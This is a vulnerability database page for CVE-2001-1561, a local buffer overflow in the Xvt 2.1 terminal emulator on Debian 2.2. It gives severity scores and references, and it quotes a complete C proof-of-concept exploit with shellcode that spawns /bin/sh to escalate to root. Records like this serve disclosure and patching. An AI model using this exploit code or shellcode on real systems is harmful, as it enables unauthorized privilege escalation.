CVE-2001-1561 : Detail

CVE-2001-1561

0.22%V4
Local
2005-07-14
04h00 +00:00
2024-09-16
20h37 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in Xvt 2.1 in Debian Linux 2.2 allows local users to execute arbitrary code via long (1) -name and (2) -T arguments.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20986

Publication date : 2001-07-01 22h00 +00:00
Author : Christophe Bailleux
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/2955/info Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions. Xvt contains a buffer overflow in it's handling of the '-name' argument. An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems. /* /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr. tshaw:~$ ./expl bash# */ #include <stdio.h> #include <stdlib.h> int main() { char buf[234]; int i; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; for(i=0; i<76; i++) buf[i] = 0x41; *(long *)&buf[76]=0xbffffab0; /* ret addr */ memset(buf + 80, 0x90, 234); memcpy(buf + 233 - strlen(code), code, strlen(code)); buf[234] = '\0'; execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0); }

Products Mentioned

Configuraton 0

John_bovey>>Xvt >> Version 2.1

    Configuraton 0

    Debian>>Debian_linux >> Version 2.2

    References

    http://www.securityfocus.com/bid/2955
    Tags : vdb-entry, x_refsource_BID
    http://www.securityfocus.com/bid/2964
    Tags : vdb-entry, x_refsource_BID
    http://www.debian.org/security/2001/dsa-082
    Tags : vendor-advisory, x_refsource_DEBIAN